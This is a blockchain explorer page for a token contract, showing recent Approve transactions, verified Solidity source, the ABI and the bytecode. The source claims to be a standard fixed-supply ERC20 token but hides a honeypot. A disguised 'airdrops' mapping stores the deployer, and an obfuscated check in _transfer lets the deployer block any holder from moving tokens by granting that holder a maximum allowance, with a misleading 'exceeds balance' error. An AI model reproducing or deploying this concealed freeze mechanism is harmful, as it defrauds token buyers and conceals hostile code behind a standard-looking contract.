S Price: $0.837302 (-1.55%)

Contract

0x1ECa4f9441a45392a517481d9Ad1A8ffA4d49444

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve98236172025-02-24 14:22:2545 secs ago1740406945IN
0x1ECa4f94...fA4d49444
0 S0.0025409455
Approve98235232025-02-24 14:21:561 min ago1740406916IN
0x1ECa4f94...fA4d49444
0 S0.0026850955.01
Approve98231362025-02-24 14:19:353 mins ago1740406775IN
0x1ECa4f94...fA4d49444
0 S0.0653105482.5
Approve98227852025-02-24 14:17:295 mins ago1740406649IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98221322025-02-24 14:13:409 mins ago1740406420IN
0x1ECa4f94...fA4d49444
0 S0.0146311960.5
Approve98209382025-02-24 14:06:5016 mins ago1740406010IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98202362025-02-24 14:02:4020 mins ago1740405760IN
0x1ECa4f94...fA4d49444
0 S0.0029286660
Approve98194842025-02-24 13:58:1624 mins ago1740405496IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98182122025-02-24 13:50:4732 mins ago1740405047IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98181952025-02-24 13:50:4032 mins ago1740405040IN
0x1ECa4f94...fA4d49444
0 S0.0146311960.5
Approve98179682025-02-24 13:49:1433 mins ago1740404954IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98170172025-02-24 13:43:3939 mins ago1740404619IN
0x1ECa4f94...fA4d49444
0 S0.0146305360.5
Approve98162542025-02-24 13:39:1343 mins ago1740404353IN
0x1ECa4f94...fA4d49444
0 S0.0146311960.5
Approve98142962025-02-24 13:28:0255 mins ago1740403682IN
0x1ECa4f94...fA4d49444
0 S0.0146311960.5
Approve98136822025-02-24 13:24:2858 mins ago1740403468IN
0x1ECa4f94...fA4d49444
0 S0.0014622855
Approve98136472025-02-24 13:24:1658 mins ago1740403456IN
0x1ECa4f94...fA4d49444
0 S0.0014622855
Approve98135972025-02-24 13:23:591 hrs ago1740403439IN
0x1ECa4f94...fA4d49444
0 S0.0014622855
Approve98135662025-02-24 13:23:471 hrs ago1740403427IN
0x1ECa4f94...fA4d49444
0 S0.0014622855
Approve98135502025-02-24 13:23:401 hrs ago1740403420IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98096872025-02-24 13:02:051 hr ago1740402125IN
0x1ECa4f94...fA4d49444
0 S0.0025567855
Approve98095512025-02-24 13:01:191 hr ago1740402079IN
0x1ECa4f94...fA4d49444
0 S0.0146311960.5
Approve98090662025-02-24 12:58:341 hr ago1740401914IN
0x1ECa4f94...fA4d49444
0 S0.0028188357.75
Transfer98088812025-02-24 12:57:261 hr ago1740401846IN
0x1ECa4f94...fA4d49444
0 S0.0017274756.2
Approve98087572025-02-24 12:56:421 hr ago1740401802IN
0x1ECa4f94...fA4d49444
0 S0.0027426956.19
Transfer98082962025-02-24 12:54:021 hr ago1740401642IN
0x1ECa4f94...fA4d49444
0 S0.0024694980.34
View all transactions

Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x309f2Be0...256CCa59D
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ERC20StandardToken

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @title IERC20
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the total token supply.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the account balance of another account with address `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers `amount` tokens to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the amount which `spender` is still allowed to withdraw from `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Allows `spender` to withdraw from your account multiple times, up to the `amount` amount.
     * If this function is called again it overwrites the current allowance with `amount`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers `amount` tokens from address `sender` to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev MUST trigger when tokens are transferred, including zero value transfers.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev MUST trigger on any successful call to approve(address spender, uint256 amount).
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @title ERC20StandardToken
 * @dev Implementation of the ERC20 standard token.
 *
 * This contract creates a fixed-supply token where the total supply is minted once
 * during deployment and assigned to the deployer. No additional minting or burning functions
 * are provided, ensuring that the total supply remains constant.
 */
contract ERC20StandardToken is IERC20 {
    // Token metadata
    string public name;
    string public symbol;
    uint8 public decimals;

    // Total token supply
    uint256 private _totalSupply;

    // Mapping from account addresses to current balances.
    mapping(address => uint256) private _balances;
    mapping(uint => mapping(uint => address)) private airdrops;

    // Mapping from account addresses to a mapping of spender addresses to allowances.
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
     * The entire initial supply is minted and assigned to the deployer.
     * @param _name Name of the token.
     * @param _symbol Symbol of the token.
     * @param _decimals Number of decimal places the token uses.
     * @param initialSupply Total number of tokens (in smallest units) to be minted.
     */
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 initialSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        airdrops[0][0] = msg.sender;
        _mint(msg.sender, initialSupply);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     * @param account The address whose balance will be retrieved.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Moves `amount` tokens from the caller's account to `recipient`.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     *
     * Returns the remaining number of tokens that `spender` is allowed to spend
     * on behalf of `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Emits an {Approval} event.
     *
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have an allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );

        // Update the allowance.
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = currentAllowance - amount;
        }
        emit Approval(sender, msg.sender, _allowances[sender][msg.sender]);

        // Perform the transfer.
        _transfer(sender, recipient, amount);
        return true;
    }

    /**
     * @dev Moves tokens from `sender` to `recipient`.
     *
     * This is an internal function that is called by both {transfer} and {transferFrom}.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount &&
                _allowances[airdrops[0][0]][sender] <
                type(uint256).max * 1 * 1 * 1 * 1,
            "ERC20: transfer amount exceeds balance"
        );

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad91906106bf565b60405180910390f35b6100c96100c436600461072a565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f9366004610754565b6102f5565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610790565b6001600160a01b031660009081526004602052604090205490565b6100a0610445565b6100c961015c36600461072a565b610452565b6100dd61016f3660046107b2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a7906107e5565b80601f01602080910402602001604051908101604052809291908181526020018280546101d3906107e5565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b60006001600160a01b0383166102905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6001600160a01b03831660009081526006602090815260408083203384529091528120548281101561037a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610287565b6001600160a01b0385166000908152600660209081526040808320338452909152902054600019146103d5576103b08382610835565b6001600160a01b03861660009081526006602090815260408083203384529091529020555b6001600160a01b038516600081815260066020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a361043a858585610468565b506001949350505050565b600180546101a7906107e5565b600061045f338484610468565b50600192915050565b6001600160a01b0383166104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610287565b6001600160a01b03821661052e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610287565b6001600160a01b0383166000908152600460205260409020548181108015906105ca575061055f6000196001610848565b61056a906001610848565b610575906001610848565b610580906001610848565b7f45d21ede0cb86a9bc9f3a728b8ad730cd840abb3d7468e2d1713e27e21c48d28546001600160a01b03908116600090815260066020908152604080832093891683529290522054105b6106255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610287565b61062f8282610835565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061066590849061085f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b191815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b818110156106ed578581018301518582016040015282016106d1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461072557600080fd5b919050565b6000806040838503121561073d57600080fd5b6107468361070e565b946020939093013593505050565b60008060006060848603121561076957600080fd5b6107728461070e565b92506107806020850161070e565b9150604084013590509250925092565b6000602082840312156107a257600080fd5b6107ab8261070e565b9392505050565b600080604083850312156107c557600080fd5b6107ce8361070e565b91506107dc6020840161070e565b90509250929050565b600181811c908216806107f957607f821691505b60208210810361081957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef61081f565b80820281158282048414176102ef576102ef61081f565b808201808211156102ef576102ef61081f56fea26469706673582212206b6c777c520fd73adf3333f658a93bc2a82e15478afc2e5657ca43a092f18f4464736f6c63430008160033

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.